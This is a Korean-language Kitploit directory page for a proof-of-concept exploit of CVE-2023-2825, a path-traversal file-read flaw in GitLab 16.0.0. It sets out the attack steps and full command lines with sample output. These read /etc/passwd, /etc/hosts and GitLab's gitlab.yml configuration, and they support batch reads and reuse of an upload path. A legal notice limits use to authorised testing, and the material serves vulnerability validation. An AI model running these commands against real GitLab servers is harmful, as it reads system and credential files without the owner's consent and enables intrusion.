Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-2825-PoC — CVE-2023-2825용 PoC: 중첩된 공개 그룹과 프로젝트 업로드 경로 탐색, 재사용 가능한 업로드 경로를 통한 GitLab 16.0.0 임의 파일 읽기 자동화 및 깔끔한 CLI 출력. | Kitploit
도구/GitHubGitHub/groppoxx/cve-2023-2825-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubgroppoxx/cve-2023-2825-poc

CVE-2023-2825-PoC

CVE-2023-2825용 PoC: 중첩된 공개 그룹과 프로젝트 업로드 경로 탐색, 재사용 가능한 업로드 경로를 통한 GitLab 16.0.0 임의 파일 읽기 자동화 및 깔끔한 CLI 출력.

저장소 보기
43개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-2825-PoC

GitLab CE/EE 16.0.0의 임의 파일 읽기 취약점인 CVE-2023-2825에 대한 개념 증명(PoC)입니다.

이 스크립트는 유효한 GitLab 계정으로 로그인하고, 필요한 공개 중첩 그룹 구조를 생성하고, 공개 프로젝트를 생성하고, 첨부 파일을 업로드한 다음, 취약한 업로드 경로 탐색 동작을 이용해 GitLab 서버에서 대상 파일을 읽습니다.

또한 기존 업로드 경로 재사용을 지원하므로 파일을 읽을 때마다 새 그룹과 프로젝트를 만들 필요가 없습니다.

동작 방식

  1. 대상 GitLab 인스턴스에 인증합니다.
  2. 안정적인 깊은 중첩을 위해 짧은 경로를 사용하여 중첩된 공개 그룹을 생성합니다.
  3. 가장 깊은 그룹 안에 공개 프로젝트를 생성합니다.
  4. 프로젝트에 작은 첨부 파일을 업로드합니다.
  5. 업로드 디렉터리에서 경로 탐색 경로를 구성합니다.
  6. 단일 파일 또는 파일 목록을 읽습니다.
  7. 후속 읽기를 더 빠르게 수행할 수 있도록 재사용 가능한 업로드 경로를 출력합니다.

요구 사항

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

필수 Python 패키지:

root@kitploit:~
beautifulsoup4
requests
urllib3

빠른 시작

꺾쇠 괄호(< >)로 묶인 값은 자리 표시자입니다. 이 값을 자신의 값으로 바꾸고 < 또는 > 문자는 포함하지 마세요.

root@kitploit:~
python3 cve_2023_2825.py \
  --url <GITLAB_URL> \
  --username <USERNAME> \
  --password '<PASSWORD>' \
  --file /etc/passwd

자리 표시자

root@kitploit:~
<GITLAB_URL>   # Target GitLab base URL. Example: http://gitlab.local
<USERNAME>     # Valid GitLab username.
<PASSWORD>     # Valid GitLab password.

전체 예시

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --username alice \
  --password 'Password123!' \
  --file /etc/hosts

예시 출력:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts

[+] Content of /etc/hosts
127.0.0.1 localhost

업로드 경로 재사용

실행이 성공하면 스크립트는 재사용 가능한 업로드 경로를 출력합니다:

root@kitploit:~
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/

--reuse-path와 함께 사용하면 로그인, 그룹 생성, 프로젝트 생성 및 업로드를 건너뜁니다:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

--url을 생략하고 전체 URL을 전달할 수도 있습니다:

root@kitploit:~
python3 cve_2023_2825.py \
  --reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --file /etc/hosts

여러 파일 읽기

파일 목록을 생성합니다:

root@kitploit:~
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF

실행:

root@kitploit:~
python3 cve_2023_2825.py \
  --url http://gitlab.local \
  --reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
  --list files.txt

선택적 플래그

root@kitploit:~
--groups <N>
   Number of nested public groups to create. Default: 11

--depth <N>
   Number of traversal segments to use. Default: 12

--reuse-path <PATH_OR_URL>
   Existing project upload directory. Skips setup and directly reads files.

--only-final
   Hide progress logs and print only file contents.

--no-color
   Disable ANSI colors.

--debug
   Print the generated traversal path for troubleshooting.

참고 사항

  • 이 익스플로잇에는 GitLab CE/EE 16.0.0이 필요합니다.
  • 공개 중첩 그룹과 프로젝트를 생성하려면 유효한 GitLab 계정이 필요합니다.
  • 취약한 경로를 악용하려면 여러 공개 그룹 안에 중첩된 공개 프로젝트의 첨부 파일이 필요합니다.
  • GitLab에서 깊은 경로 생성 문제를 피하기 위해 의도적으로 짧은 그룹 이름을 사용합니다.
  • 불필요한 그룹과 프로젝트 생성을 피하려면 가능한 한 --reuse-path를 사용하세요.

법적 고지

이 PoC는 승인된 보안 테스트, 실습 환경 및 취약점 검증을 위해 제작되었습니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드